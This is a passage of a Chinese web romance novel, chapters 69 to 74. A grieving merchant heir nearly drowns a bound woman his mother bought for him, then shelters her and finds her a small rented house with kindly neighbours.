《贵女云鬓酥腰,狼王质子囚娇入帐》 第69章 堕 他转身走了…… 没有一句言语,没有任何表情,就那么转身离开了…… 只有他自己知道,他是落荒而逃,他接受不了珍爱之人掉入泥淖,光彩不再。 他的清风,他的明月,是不可被染指的,现在全毁了,他只觉得脸上火辣辣地烧灼。 安努尔回了家,愤怒地质问母亲:“为什么要这样待她?你明明可以给她安排一个更好的人,哪怕一个再普通不过的人也好,你却要毁她!” 母亲说了什么,她说:“我是为了让你看清,你爱得根本不是这个女人,你的爱只是一种感觉,一种你自以为美好、痴情的虚无,你扪心自问,看见那样的她,你还爱么?” 还爱么? 还爱么…… 森冷的声音不停在他脑中回荡。 可他知道,母亲这样做还有一层意思,她在惩罚他,她忍受不了他脱离她的掌控,她是他的母亲,舍不得对他下手,便将这份怨念施加在了赛依拉的身上。 既是对他的警告,也是对他的惩罚。 若只是这样,兴许他会妥协,将母亲对他的压制默默承受,然而事情没有结束,他没有料到,他的母亲亦没有料到,那个看起来温和,嘴角永远带笑的女子才是最绝厉的。 如果安家老夫人知道接下来会发生的事,以及十年后自己儿子的堕落迷失,她当初一定不会那样对赛依拉。 赛依拉用一根绳子牵住了他的儿子,让她的儿子在接下来的十年里,成了安夫人最大的敌手,亦是一块抹不去的心病。 就在安努尔离开后的当晚,赛依拉用一根绳子结束了自己的性命。 接下来的岁月里,安努尔时常想,若他当时不去看赛依拉,或是躲在暗处不让她看见他,又或是他上前同她说一句话儿,她都不会那样决绝。 可他只是一言不发地走了。 自那以后,安努尔彻底失控了,他不再触碰女人,成日厮混于花院,招玩男伶或是小唱。 从前安老夫人给他定下了一家门当户对的婚事,那户人家见安努尔如此,亦不敢再将女儿嫁过来,再加上安努尔肆无忌惮地风流性儿,他的名声就这么在徽城传开了。 十年以来,他就这么无声地抗议着,到最后连他自己都习惯了这种颓堕的生活。 你不是不让我娶心爱的女人么,那好,女人,我再也不碰了,就这么一直玩耗到三十来岁。 安家老夫人如何不急,家中只这么一个儿子。 雅间内的声乐长长短短地响着,美姬、小倌儿频频给众富家子弟递酒。 这时,石儿禄提起一件最近发生的事情。 “不知道你们听说了没有?” “何事?”其他几人问道。 “京都那边……不知道闹出什么事,出动了好多禁军。” 松赞笑道:“管那么多干什么,皇城里的事怎么也牵扯不到咱们身上。” 其他几人纷纷应和。 石儿禄笑了笑:“咱们这位少帝可是了不得,才夺了定州,依我看呐,用不了多久梁国就要对我夷越俯首称臣,以前咱们是大梁属国,十年河东,十年河西,届时大梁就是咱们的属国。” “不错,不错……”松赞点头道。 美姬、小倌儿们再次续酒,众人乐呵着相互举杯。 一声轻嗤插了进来。 “大哥笑什么?”石儿禄问道。 安努尔捡了一粒蜜枣儿含在嘴里:“你们太小看咱们这位少帝了,那可不是个守国之君。” “大哥的意思是?”石儿禄又问。 安努尔点了点桌案,小倌儿儿重新满上酒,男人又是一杯饮下:“不信你们看,梁国只怕想当咱们的属国还要看呼延家乐不乐意。” 此话一出,在场之人皆是一脸兴味,眼中透光,借此又兴起一个有意趣的话头。 “以后咱们也置买几个大梁女婢。”松赞说道,“再多买几个放到我这楼里唱曲儿,定能招揽更多生意。” 又有一人笑道:“梁女当不得什么,要我说,梁女还没咱们夷越女子好看,小鼻子小眼的,有什么看头。” 石儿禄家里是做珠宝生意的,小的时候常跟家中下人去梁国贩货。 “一看你就不懂,你才见过几个梁国女人就在这里夸夸其谈,你看到的那些都是普通货色,真正的绝色你是没见过。” 一边的松赞取笑道:“说的像你见过似的。” 石儿禄捻住自己的一根辫子,往身后一甩,本是一副啷当玩世不恭之态,突然正色道:“我真就见过,啧——你们是不知道,那小女郎看一眼便能入心,看两眼便能入魂,只叫人茶不思饭不想。” 其他几人纷纷哄闹他:“快说,快说,怎么个模样?” 石儿禄勾起嘴角,好似那小女郎的影就在眼前似的:“那小女郎看起来只有十三四岁的年纪,乌压压的髻儿,轻袅袅花朵身,桃花上脸,粉腮细腻,从头到脚,无一不妙。” 男人说罢仍是意犹未尽似的回味。 安努尔笑着摇了摇头:“你那个时候才多大?就起了色心?” 石儿禄叹了一口气:“小爷那时不过将将十岁,屁大的年纪,没法让美人儿侧目,若是现在的倜傥样儿,好歹也能让美人儿多赏一眼。” 众人听了,俱笑闹起来。 这时,旁边一美姬上前递酒:“郎君也太能夸口了,那小女郎比之奴如何?” 这女子是花院的名角儿,暖调肌肤,灯火下如同上了一层釉质,浓密的眼睫下是一双波光流转的睛眸,又艳又媚。 石儿禄上上下下将她打量,就着女人的手饮下杯中酒:“你要听真话还是假话?” “真话是什么,假话又是什么,奴都要听一听。”女人嗔道。 其他人也都笑听着。 “假话就是,你同她比还是差一点儿。”石禄儿说道。 安努尔笑道:“还是别说了。” 那美姬没听出这话里的意思,仍是不依地发问:“真话还没说呢!” “真话就是,你同她比差得不是一星半点儿。” 众人一听笑得越发大声了,美姬又是笑又是骂。 安努尔酒已喝足,今日心情不佳,便不再多待,准备起身辞去,给他递酒的小倌儿有些不愿他离得太早,却也知道留不住人。 这安家郎君虽蓄养男伶,从来只让他们在席间递酒逗趣,他自己从不在外留宿。 众人起身,相送安努尔,他们这些人都是一个地方从小玩到大的,向来视安努尔为主心骨,一是安努尔年纪长他们几岁,另一个安努尔魄力、掌控力很让他们折服,从小就是孩子王一般的存在。 安努尔走后,几人又是一番感叹。 “只怕又是为娶妻一事同安老夫人起了争执……” 一直以来,他都没放过自己…… 第70章 占了他的床榻 安努尔走后,几人又是一番感叹。 石儿禄同安努尔走得最近,对安努尔从前的情况知道的比旁人清楚一些。 “估计安老夫人又提及让他娶妻,闹了不愉快。” 一边的松赞说道:“一晚上眉心都锁着呢,大哥这样哪里是气他家老夫人,完全是跟自己过不去。” …… 安努尔出了华兴楼,贴身小厮火奴牵马上前,安努尔撩衣上马,火奴一手提灯,一手牵马。 这个时辰不算太晚,街道两边排挤着小摊贩,吃食摊冒着浓白的热气,花灯摊挂着绚烂多彩的花灯,还有卖香料的,一阵晚风来,半条街都是脂粉香。 “主人,刚才山奴来过一趟,跟小的说了件事,让小的转告您。”火奴把话说得很慢,显然他知道下面的话,他家爷不喜欢听。 “说来。”安努尔平声道,好似对什么都提不起兴趣。 “老夫人替您买了个奴姬。” 男人嗤笑一声:“她又不是第一次干这种事。” 火奴心道,确实不是第一次做这种事情,从前老夫人将宅里稍有姿色的丫鬟往主人屋里放,结果,老夫人前一脚放人,主人后一脚就将人踢了出来。 再后来,老夫人又从外采买各式各样的美人儿,皆被主人撵出院子。 见此,老夫人消停了两年,想不到仍是不死心,如今又买了一个,而且还直接丢到他家大爷的榻上。 大爷要是知道那女人占用了他的床榻……他不能对老夫人怎样,难道还不能对那女人怎样? 火奴只得暗自叹一口气,那女人自求多福罢。 约莫一炷香的功夫,他们到了安宅。 安努尔翻身下马,朝宅子里走去,火奴将马绳交给守门的小奴,随在主人身后。 一进宅门,走过两个穿堂,男人先去了正房。正房的丫鬟见自家大爷回来,忙打起门帘向里通传。 安家老夫人,安氏,听闻儿子回了,让屋里的丫鬟去厨房端一碗醒酒汤来。 丫鬟应声去了,正值这个当儿,安努尔进了屋子,安氏看去,果不其然,又是一身酒气。 “儿子来给母亲问安。”安努尔说道。 不论安努尔对自家母亲诸多不满,晨省昏定,这一点上从不曾敷衍,早晚问安一次不落。 安氏保养得十分好,可眼角的皱纹和眼底的疲态仍能观其老态,妇人点点头:“你坐一会儿,我让人端碗醒酒汤来与你喝。” “不必了,儿子这就回房。” 男人不及安氏回答,待要起身离开。 “给我站住!” 安努尔顿住脚,侧过身,看向上首。 安氏气道:“我这个屋子,你是一刻也不愿意待,是罢?” 安努尔并不说话,面上亦无过多的表情。 安氏知道继续说下去,谈不出个结果,近十年了,这孩子对她一直是不瘟不火的态度,恭敬有余,却不知这恭敬中又有几分真心。 “我买了一个奴婢,放在你屋里……” 妇人话未说完,安努尔鼻子里嗤出一声冷哼,淡得只有他自己听到。 “母亲这又是何必,明知会是什么结果。” 安氏声音没有太大的起伏,她已调整好自己的情绪,她一个妇人,能挣下这么大一份家业,在男人的战场上大显身手且游刃有余,就不能将她当一个普通的内宅妇人来看。 “如今我已是半只脚入土的人,总是我先你一步走,你的事以后我也管不了了,罢了,那女子就在你房里,你要就要,不要的话随你处置,我也认了,你想如何便如何。” 安努尔眼一抬,启口道:“母亲此话当真?” 安氏闭上眼,点了点头:“当真。” 这时,丫鬟揭帘进屋,端了醒酒汤来,就要送到自家大爷面前,安努尔只斜了一眼,转身便出了正房。 “老夫人,大爷他……”丫鬟看向上方。 安氏悠悠叹出一口长气,本想着再试一次,她终究是不死心,想将儿子拉回正途,可刚才他的那个态度,多半是无望了。 安努尔出了正房,往自己的虹院走去,火奴紧随其后。 “你去前面,把那女人从屋里带出来,找牙婆收了。”男人折过步子,不再往虹院去,而是转了一个方向往湖亭方向行去。 火奴应下,暗忖,主人这是连那女人的面也不想见了,可惜了老夫人的一片苦心。 火奴进到虹院,院子里的廊檐下已点满了灯,那女人就在爷的寝屋里,于是径直走到大爷房门前,就要推门而入,一个声音从后响起。 “诶——” 火奴转头看去,正是同在大爷院中伺候的山奴,刚才也是他给自己传的话。 山奴缩在树影儿里贼头贼脑地朝火奴招手。 火奴下到阶下,往他跟前走去:“你偷偷摸摸在这里做什么?” “你先别问我做什么,我倒要审审你,你要做什么?”山奴说道。 “还能做什么,主人让我把里面那人拖走。” 山奴一听,连连摆手:“这种事你千万莫要做。” “怎的,主人交代下来的事情,还由得了你我?”火奴不愿同他废话,说着就要转身,却又被山奴扯住,于是忍不住叫道,“你拉我做甚,需得动作快些,一会儿大爷回来见人还在,我少不了一顿骂。” 山奴看了眼周围,将火奴往树影儿里拉,朝那屋里努了努嘴儿:“这个不一样。” “怎么个不一样,以前买来的那些,没一个丑的,最后还不是被赶了出来。” “哎呀——这次的这个,我见了,真就不一样,我也说不出来,反正我这辈子没见过这样的,朵家知道罢?” 火奴点点头:“知道,咱们夷越五大上姓氏族。”想到什么,继续道,“有一次你我二人随主人去京都,正巧碰上朵家贵女游街,就是后来进王庭的那位,不得不说,朵氏一族当真是专出美人儿。” 山奴笑了笑,眼睛望向那屋:“这个比朵家贵女还强上几分。” 火奴先是怔了怔,接着上下打量山奴一眼,冷笑道:“不会是老夫人授意你这样说的罢?” 他是不信山奴的话,定是得了老夫人的吩咐,让他在这里添火加柴。 山奴急得一跺脚:“你当我跟你一样莽直,我是大爷院子里的人,亲不间疏这个道理我还是懂的,除非我不想在爷身边伺候了,才傻着听那边的指派。” 火奴不去管他,仍是准备去屋里将那女子拖出来,让人牙转卖…… 第71章 沙哑的低叹 山奴见火奴油盐不进,仍是往那屋里去,再次扯住他。 火奴急了,气骂道:“合着主人不是吩咐的你,你倒是不怕,在这里撺掇我,事情若办不好,受责骂的是我不是你,你就祸害人罢!” “你看你急的,咱们跟主人这么些年了,我就问你一句话,你想不想主人好?” “废话,自然希望主人好。” 山奴把下巴一扬:“那这事你就别管,万一这女人真能笼住大爷的心呢,你也不想大爷继续这样荒唐下去罢。” 火奴不说话了,隔了一会儿,叹道:“爷心里一直记着从前的那位,谁来都没用……” “说你蠢,你真是一点也不谦虚,那都多久的事了。”山奴说着,伸出左右食指,交叉在一起,“十年!就是记着、惦着也不至于这样,大爷这是心里有症结,这个症结跟从前那位有关系又没有关系。” “什么叫有关系又没有关系?” 山奴沉出一口老气,摇了摇头,拿这个直脑子的搭档没办法:“主子是借着这一茬跟老夫人打擂……哎呀,你听我的就是了。” 这一回火奴倒是没再说什么。 …… 话分两头说,江念被人抬到床榻之上,将整个房间打量一番,谁承想,身体里的药力并没完全过去,困意袭来,眼前就是一黑。 待她再次醒来,屋里黑黢黢一片,只有门檐下的灯笼透进淡淡的光,洒在门内的地砖上。 她试着挪了挪身体,双手双脚俱被绑,手臂已经开始发麻、发酸,艰难地坐起身,将腿放到脚榻上,端正身形,屈膝,用力,跳下脚榻。 接着又是几下跳动,只这么几下,已是有些气喘,双手反绑,落脚不稳,每一下跳动都有摔倒的风险。 刚跳没几步,有脚步声走来,此时她的眼睛已适应了黑暗,四下一扫,整个房内只有一架屏风后能藏人,这时已顾不上许多,就是爬也要爬到那里。 待她转入屏风后的同时,房门“吱呀——”开了。 稳健的脚步声踏了进来,随在他的身后,又是几个更轻更碎的脚步,应是丫鬟的,不一会儿,房里亮起黄澄澄的烛光。 “大爷可要备热水?”一个丫鬟问道。 男人“唔”了一声。 过了一会儿,丫鬟将灶房里的热水开始往房里送。 安努尔靠坐在一张罗汉榻上,面颊潮红,显然喝了不少,刚才在湖亭吹风,仍驱散不了身上浓浓的酒息,鼻息间呼出的是微醺,他揉了揉额穴,缓缓闭上眼。 “爷,热水已备下。” 不见回应,丫鬟们开始依次序退出,并带上房门。 约莫过了一盏茶的工夫,安努尔仍保持着刚才的姿势,身体往后仰靠,双腿微开架坐,一手搁在榻扶上,一手垂下。 这时,一道沙哑的低叹从男人喉间溢出,在安静的房内显得格外清晰,接着是衣料窸窣之声,脚步声往屏风后的沐间响来。 安努儿进到沐间,将衣衫一层一层褪去,赤袒着精壮的上身,只着一条软绸裤,走到浴桶边,将手探到水里,手在水里荡了两荡,然后抽出。 江念额上布满汗珠,手心也是湿黏一片,因为太过安静,不得不屏息敛气,透过隔板缝隙,见男人褪去了上衣,忙把眼睛瞥向别处,然而等了半天,却不见任何动静。 她不得不再次透过缝隙往外看,不看还好,一看之下,浑身的血瞬间凝住,她在看向他的同时,那男人亦侧头盯着她。 这么一条小缝,他不可能看见自己。 安努尔一进浴间就感到了异样,知道这屋里有人,借用试水的间隙,找到了那人的藏身之处。 男人眉眼一沉,母亲还真是不死心,往沐间藏人,这是嫌人死得不够快么? 不及江念反应,男人两步跨过去,探手绕过隔板,一把将人揪出来,半句废话也无,锢住女人的颈,拖拽到桶边,将其一把摁入水里,女人的半截上身浸没于水中。 他就这么冷眼看着她垂死挣扎,直到慢慢溺死。 江念没法呼吸,胸口如同压着一块大石,这一刻她能听到自己的心跳声,一下又一下快速地在耳道中鼓动。 她怎能这么不明不白地死了?死在异国他乡,死在一个认都不认识的人手里。 心里想着,一双脚往后胡乱挣蹬,那动作像极了拱动的软体虫,人垂死挣扎的气力惊人,挣扎中踢中了一下,身后的男人发出一声闷哼,她似是看到生的希望,越加卖力地踢蹬。 然而,乱蹬的双脚在半空被一个力道截住,像铁镣一样锢住她的脚踝。 安努尔一手擒着女人的脚踝,指下的柔腻令人吃惊,再往上是女人乱蹬中露出的白敷敷的小腿肚。 他这才注意到,女人双手被麻绳反绑于身后,眼中闪过一丝意外,遂将人从水里捞起,丢掷到地上。 江念瘫软地伏在地面,本能地大口呼吸,要把干瘪的胸腔灌满空气,而脑子仍是空白,待身体和头脑慢慢回缓过来,下意识缩到壁脚,慢慢蹭坐起,双腿屈起护在身前,颤抖着,一双眼戒备地盯着面前之人。 安努尔就这么立在那里,一双眼向下睨着,将女人从头到脚打量,微微挑了挑眉。 乌黑的发编成麻花,在脑后盘成一大一小的两个髻儿,细碎的鬓发和额发因湿了水,衔在腮上。 一双妙目嵌得不知是水还是泪,正湿漉漉的警惕地看着他,往是下一管直隆隆的玲珑鼻,因过于紧张,鼻瓣微微绷着,再往下,是两瓣微微有肉的唇,轻轻启着,随着胸脯起伏吐息。 女人因刚才的挣扎,露出一边华泽的肩头,几缕湿发勾画于侧颈间,让那细颈的弧度更柔更娇。 “梁国人?” 江念一激灵,脸色更白了,却不敢开口说一个字。 女人明明害怕得浑身打颤却强装镇定的模样,让安努尔心底生出一丝异样,于是抬脚一步一步朝她逼近…… 第72章 诱哄 江念见男人向她靠近,双腿施力,往另一边腾挪,只想离这人越远越好,他刚才的狠戾绝对是下死手,只是不知为何又改了主意。 她现在什么也不敢说,上次为救珠珠,在高家差点丧命,经历过那一次,她再不敢随便暴露身份。 之前,她和阿星被囚高家时,她向高家汉子讨铙,她认识他们大王呼延吉,只要将她们放了,她可以给他这辈子用不完的钱,结果高家汉子说的什么。 他说,别说你没这么多钱,就是有这么多钱,也走不出这个村子,人就是这样,恶行一旦暴露,最先想的不是补救,而是一错到底,继而杀人灭口,避免给自己招灾。 他们深知钱再多,没命花的道理。 譬如现在,她若对这人说,你别杀我,我同你们大王有那么一点不太牢靠的旧情,她能肯定,这男人听后会毫不犹豫地把她再一次掼到水里,了结了。 安努尔见女人一直往旁边挪移,避着他,他进一步,她便蠕动着退两步,始终不让他靠近,见她如此惧怕,安努尔对自己刚才的鲁莽有点后悔。 “你莫怕,我不伤你。”男人说着,拿下巴指了指,“让我帮你把绳索解开。”说完见女人仍是警惕地看着自己,那眼神显然是不信的,心里有些好笑,解释道,“我将你当成了贼人。” 他见女人面上起了一丝变化,继续道:“你看,若是你家进了贼人,你也不会手软,对不对?” 话里带了一丝诱哄的意味。 也不知她听没听进去,不过他再靠近时,她没躲了,他走到她的面前蹲下,从靴筒里抽出一把匕首,快速将女人手脚上的麻绳割断。 “我没有恶意,你现在可以开口了。”男人语气放轻:“你怎么到我房里来了?” 江念心道,我怎么到你房里来的,你自己不知道么?开口却是:“我不记得了,我……记不清了……” 安努尔眼中闪过一丝惊诧:“不记得了?” 江念点了点头。 “那你叫什么名字,家住哪里?这些可还记得?” 安努尔问完,盯着女人,见她低头想了想,然后摇头。 “没关系,不记得便不记得罢,以后再慢慢想。” 门外,火奴和山奴在树影儿里来回踱步,眼睛不住地往那屋里看。 “我真是脑子被驴踢了才听信了你的话。”火奴说道。 山奴此时也有些后怕,不该拦下火奴,大爷那脾气,真怕一时怒急把气撒到他们二人身上,并且他的罪责比火奴更大,毕竟是他拉着火奴,阻他进去带人出来。 正想着,房门从内打开,两人迅速走到阶下,躬身候立,听得自家大爷吩咐:“叫丫鬟进来伺候,再在院里清出一间房来。” 两人立马应是,忙不迭地招丫鬟进屋,另外又招来几个丫鬟把旁边的一间侧房清扫出来,并重铺床帐熏香。 房间很快清扫出来。 两个丫鬟一左一右十分贴心地搀扶着江念往侧房走去。 安努尔立在门首下,目送女人进了侧房,开口道:“安排人手,看住了。” 语调同刚才的轻柔完全不同。 火奴同山奴对视一眼,都从对方眼里看到了惊异,大爷居然要留人?! 彼边,安宅正房亦收到消息,十年来,安老夫人的脸上终于有了笑。 “此话当真?我儿将人留下了?” “当真,当真,千真万真!”管家安忠义说道。 “好,好,留下来就好。”安氏说着,一股酸意上涌,泛到喉间,她本不抱希望了,突然想到什么,立马吩咐,“快,多支几个丫鬟到那丫头身边伺候,一定把人照顾好了。” 安氏说完见管家不动,急道:“怎么还不去?!” 安忠义说道:“夫人莫急,大爷如今态度才有了转变,这个时候正房派人过去只怕不好,反惹大爷不痛快。” “是了,你说的在理,是我急了,没考虑到这一层。”她本是一番好意,可儿子不会这么想,只怕以为她派人过去另有目的。 “老夫人放心,大爷既然打算把人留下,心中必然已有计较,您还怕那边没人伺候么?” 安氏眼中带笑,心头的酸楚又被喜悦取代。 江念被丫鬟请入侧房,这间房比刚才那间要小一些,一应陈设却也十分精致,一架宽大的玳瑁雕镂花草围屏,将房间隔出一大一小两片区。 外间摆了一张圆形桌,桌上摆着果盘、茶盘,还有一些精巧小食,因是才熏香的缘故,一进屋便嗅到淡淡的木质香调。 丫鬟带着江念进入隔间的沐室,伺候她沐浴。 硕大的雕花漆金盆里冒着细细的白烟,水面融荡着各色花瓣,有红的,绿的,还有黄的,一瓣一瓣在水中越加鲜丽。 “阿姑,奴婢们为你宽衣。”其中一个丫鬟柔声道。 江念点头,任几人为她褪衣,散发。 一个长挑个头的丫鬟十分贴心地搀扶江念入到浴桶里,身边的丫鬟不待她动手,便开始为她轻柔地擦洗身子,与此同时另有宫婢为她揉洗长发。 她就这么松懒地浸在水中,一会儿仰靠于桶壁,一会儿趴伏在桶沿,安然地享受着丫鬟们的伺候。 高长个儿丫鬟用玉簪将女人的湿发绾起,露出女人纤薄光洁的后背,后背处凸显两片好看的蝶翅骨痕。 江念趴伏在桶沿上,垂着粉颈儿,惘惘地看着地上的影儿,有她的,还有丫鬟们的,晃动着,忙碌着,很热闹的样子。 这一刻,她恍惚回到了江府,回到了她的闺房,身边环伺着从小到大伺候她的鬟儿们。 在撩拨的水声中,她卸下了一直以来的伪装,眼泪一滴滴往地上砸去,她在呼延吉身边像只乱窜的苍蝇,觍着脸一会落在这里,一会落在那里,始终以他为中心,乱飞乱舞。 她同他在一起,将脸面尊严丢在一边,伺候他、讨好他、迎合他,她观察着他细微的表情,洞察他眼底情绪的流转,到最后自己什么也不是,连从前他对她的痴意都是她的一厢情愿,是假的!是他装的! 呼延吉,我再也不想见到你…… 第73章 钱保不住,人亦保不住 江念拿湿漉漉的手揉了揉眼睛,闭上眼,不再去想。 盥沐毕,丫鬟们给她换了一身干净的衣衫,前后环伺中江念出来沐房,那个高挑的丫鬟引她坐到妆台前,用干巾慢慢绞着她的发丝。 “阿姑,你的头发又长又浓密,天下再没有比这更好的发了。”丫鬟说道。 一个更为活泼的声音在江念的记忆中荡开。 “主儿,你这头发呀,天底下再没有能比的过的。” 从前秋水也这样说过。 江念透过镜子看向身后的丫鬟,问道:“你叫什么名字?” 高挑丫鬟笑道:“我叫秋月,因是夜里出生的,家人就给我起了这个名儿,后来到了安家,这个名儿也没改过,就一直用着。” 江念笑着点点头。 秋月又道:“阿姑若是不喜欢,可以给婢子赐个名儿。” “秋月这个名字很好。” 正说着,三四个丫鬟手端托盘依次序进了屋,将托盘上可口的菜馔摆放于桌面。 江念起身走到桌边,看着这一桌饭菜,有荤有素,有鲜果有汤品。 “定是大爷吩咐灶房上的。”秋月在一旁解释道。 江念坐下,一边的丫鬟开始布菜。 这个男人前一刻还要杀她,如今却又待她为上宾,难道真如他所说,她的出现他并不知情?他将她当成贼人才下杀手? 用罢饭后,秋月上了香茶,江念接过,以茶漱口,又净了手,一边的丫鬟上前替她用香膏匀手。 下人们收了桌面,重新熏香铺帐,秋月将江念的头发用暖炉烘至半干,伺候她躺入榻上。 “阿姑,我们就在外房候着,你随时唤我们。”秋月说道。 江念点头:“你们退去罢。” 秋月打下帐幔,带着一众人退出了房间。 江念没想好接下来要怎么办,但有一点她很肯定,她不想回王庭,不想再见到呼延吉。 可她也不能不清不楚地寄居于这户人家,天下哪有免费的午餐。 纷杂的思绪在她的脑中绕来绕去,就这么睡了过去,床铺很干净,很松软,可这一夜她睡得并不踏实。 睡睡醒醒一直到天亮,丫鬟们听见屋里的动静,敲门进入,伺候屋主人梳洗更衣。 丫鬟们整列一排,手上的托盘里放着各式的钗環首饰和衣裳。 夷越女子服饰衣襟阔大,江念有些不惯,便从托盘里挑了一件领口稍窄的衣衫。 窄袖交领长衫,绢纱里衣,衣领开口处,露出两道微凸的锁骨,烟紫的纱衣在两侧开出很高的跨口,一直开到大腿处,纱衣外再套一层水绿色的半臂掐腰及膝长衫。 下着一条月白的提花灯笼裤,脚上着一双银红翘头软底鞋。 衣服很合身,裁剪得恰到好处,越服不似梁服大气慵懒,却显得人十分精致,男服彰显原始的不羁,女服则修饰天然的曲线。 江念从首饰上面扫了一眼,并未让丫鬟们给她佩戴,只让她们把她的头发梳齐整即可。 夷越人不喜将头发绾成复杂的发髻,无论男女,他们喜欢编发,有时在街上,甚至可看到男子编着满头小辫,然后再齐集一股束于脑后,女子亦然,带着一股说不出来的野劲儿。 丫鬟们手很巧,依着江念的意思,从她额前挑出几缕发丝,编织成复杂的花辫,再梳于脑后,同其他发丝汇集成大股,经过灵巧的编织,在后脑盘成一个发包。再在发包上簪上金丝绞成的网,网上嵌着几粒彩色珠石,用以固定发包。 女人前额光洁饱满,简简单单的发式显得整个人清丽且雅致。 秋月暗叹,什么是芙蓉面,冰雪肌,轻袅袅花朵身,这便是了,怪道这女子能留下。 用罢早饭,江念正待前去找昨晚的男人,那男人便来了。 安努尔进屋,见了江念,先是定目看了一瞬,张了张嘴,不知该如何称呼。 “昨夜休息的可好?” 江念笑了笑,不语。 安努尔怔了怔,以为她会说些客气话,笑道:“是我的过错,吓到娘子了。”梁国好似是这么称呼女子的。 两人对坐下,丫鬟们开始上茶,摆上茶点,便退于门首等待传唤。 “不知在下该如何称呼娘子。” 江念低下头,从腰上取下自己的香囊,双手递上,安努尔接过,只见香囊上歪斜地绣着一个“念”字。 “念……”男人喃喃出声,然后抬眼看向女子,“那我叫你阿念?或是念儿?” 江念接话道:“阿念罢。” 安努尔笑道:“姓什么可还记得?” “不记得了。” “阿念之后有什么打算?” 江念想了想,说道:“我身上还有些钱资,打算找个落脚之处,再做其他打算。” 安努尔笑了笑,不言语。 “郎君笑什么?” “只怕我说了,会唐突了你。”安努尔拿起琉璃盏,轻呷了两口。 “郎君但说无妨。” 男人看了江念一眼,启口道:“以你的容貌在外行走,别说钱保不住,只怕人亦是保不住,且你又失了记忆,依我看,不如就此安住下,待记忆恢复后再离去,岂不更好?” 江念搁于桌案上的手慢慢蜷起,转而道:“还未及问郎君姓名。” “在下姓安,名努尔,安努尔。” 江念起身朝男人行过一礼:“妾身在这里人生地不熟,亦没有什么倚仗,寄居在此实是冒昧打扰,郎君可否替我寻一处小屋,房金奉上。” 她始终觉得寄人篱下不是个事,且她有些余钱,租个小屋应该不成问题。 至于容貌……总能想到办法,变美不易,变丑还不容易? 安努尔以为她会被他的话怔到,想不到她仍是坚持搬出去,见女人等他回复,点了点头:“这不是难事,钱就不必了,你留着以后生计用,我差人给你打听打听,租个带院子的小屋如何?” 眼下的境况不容她逞强,便接受了他的好意。 “若能如此再好不过,待我找到一条谋生之计,定将房金归还郎君。” 安努尔露出一个笑来,眼中生出一丝柔光…… 第74章 怜香惜玉 安努尔办事很快,没两天小院就找好了,离安宅不算太近,也不算太远,在一条名为桂花巷的窄巷子里。 不巧的是,安努尔往其他城镇办事去了,得几日才回,临走前让江念待他回来,再安排她搬进小院,可江念等不及,她本身也没什么行李,为表感谢去了正房,向安家老夫人作辞。 安氏虽不情愿江念离开,可也吸取了从前的教训,不再强加干涉,只能应下。 待江念走后,安氏叹道:“好不容易有这么个人,没待几天又要走,如何是好?” “老夫人不必过虑,大爷若是对此女不上心,何故花费力气给她找房,包括她在咱家这几日的衣食住行,哪样不精细,大爷心中定有计较的。” 妇人听罢,面色才缓,她的儿子她最了解,并非什么怜香惜玉之人,只有可到了他的心上,他才这般作态,就如同对之前那个赛依位一样。 安氏能在男子当中站稳脚,挣大家业,因为她的心够狠,她的儿子将她的狠劲遗传了十足,甚至连她这个母亲也要惧让两分。 譬如,十年间,他取代她成了安家的掌舵人,并非她主动让权,而是她在同他的较量中落败,如今家中产业她只是挂个名头,实际掌控之人却是安努尔。 江念带上自己的包袱根据地址来到桂花巷,听闻这里从前有很多桂花树,后来整修时全都砍了。 她租住的小院在桂花巷最里面一家,门前有一根歪脖子大树,她从包袱里拿出钥匙,将院门打开,走了进去。 但见院东一角栽种着几株果树,另一角有口井,西面用栅栏围出一爿地,种了些蔬菜,正面上三层台阶便是堂屋了,这院子采光不错,小院十分干净整洁,一看就是经人打扫过的。 围转了两圈,越看越满意,有了这方小院,让她茫然的心安定少许,至少在异国他乡有了一个落脚之所。 “呀!这就来啦!”一个响亮的女声传来。 江念回头去看,是一个三十来岁的妇人,靛蓝色的麻布衣裙,一头发丝用布巾包裹,鬓角留出两缕微卷的发,看起来十分精神。 “你是?”江念问道。 妇人笑着走了进来,睛目不转地看着江念,笑道:“这屋子是我的。” 江念忙回应:“原来是房主。” 妇人扬手指了指院墙另一面:“我就住你旁边,墙那边的院子也是我的。”说完,又看了江念好几眼,笑说,“牙人同我说是个独身女子,我一开始不太愿意,你知道的,就怕做出些不好的事来,后来牙人说租户是梁国人,又跟我保证绝对是清清白白的一人儿……” 江念笑着听她说话。 妇人继续道:“现下一看,当真是清清白白,可再没有比你更白的了。” 噗嗤一声,江念撑不住笑起来。 女人也跟着乐了,指向西面的菜园:“这屋子空了一段时日,我种了些菜,就不拿了,你扯着吃。” “那就多谢夫人。” “叫什么夫人,你叫我情姑就行,他们都这样叫我。”女人正说着,远远传来孩童的笑声和一个男人的声音。 “我家小柴头回了。”妇人几步跨出院门,朝外招了招手,“当家的,你来,见见新邻居。” 不一会儿,一个皮肤黝黑的粗壮汉子牵着一个虎头虎脑的五六岁小儿出现在了院门前,小儿见到妇人,欢快地跑到妇人跟前,扯着妇人的衣摆叫娘。 那汉子则站在院门外对江念笑着点了点头。 妇人回头对汉子道:“当家的,你去买些卤味,晚上我多烧两个菜,让……”妇人停顿了一会儿,问,“对了,还不知道你叫什么。” “嫂子叫我阿念罢。” 情姑见自家汉子走了,便道:“这屋子你还需再收拾一番,晚饭就在我家对付了。” 江念想了想,一会儿天就暗了,她头一日来,这屋子又空了一段时日,肯定开不了火,便应下了,待明日再去街上买一应生活用品。 两人又说了一会儿话,妇人便带着自家小儿离开。 江念进到屋内,一个四方的堂屋,两间小房,桌椅板凳都有,落了薄灰,小房内有床榻,还有一床卷起的被褥,出了屋,又转去灶房,有个很大的灶台。 当下打来一盆井水,将屋内简单扫洒一遍。 掌灯之时,隔壁的小柴头颠颠跑了过来:“姨姨,我阿娘让你去吃饭,快去,快去。”叫了一声跑开。 江念用井水净过手,去了隔壁。 后来时日相处久了,她才知道情姑原先嫁过一个男人,那男人开了一间小商铺,家资尚可,情姑算是陪男人一手将生意做起来,男人有了些钱,脾气便大了,常常出入花街柳巷不说,好不容易赚得的银子流水一般往外出,情姑稍稍说他两句,男人便对情姑动辄打骂。 一日,男人半夜从花院出来,喝多了酒,栽到河里淹死了,情姑现在的男人名万年,是她铺子的伙计,而小柴头是情姑同原先那位所生。 情姑又同江念介绍起这条巷子的住户,其他人都还好,只她家一墙之隔的那户,是一个书生,性子怪僻,不善言辞,不过不是坏人,没什么坏心,就是性格不招人喜欢。 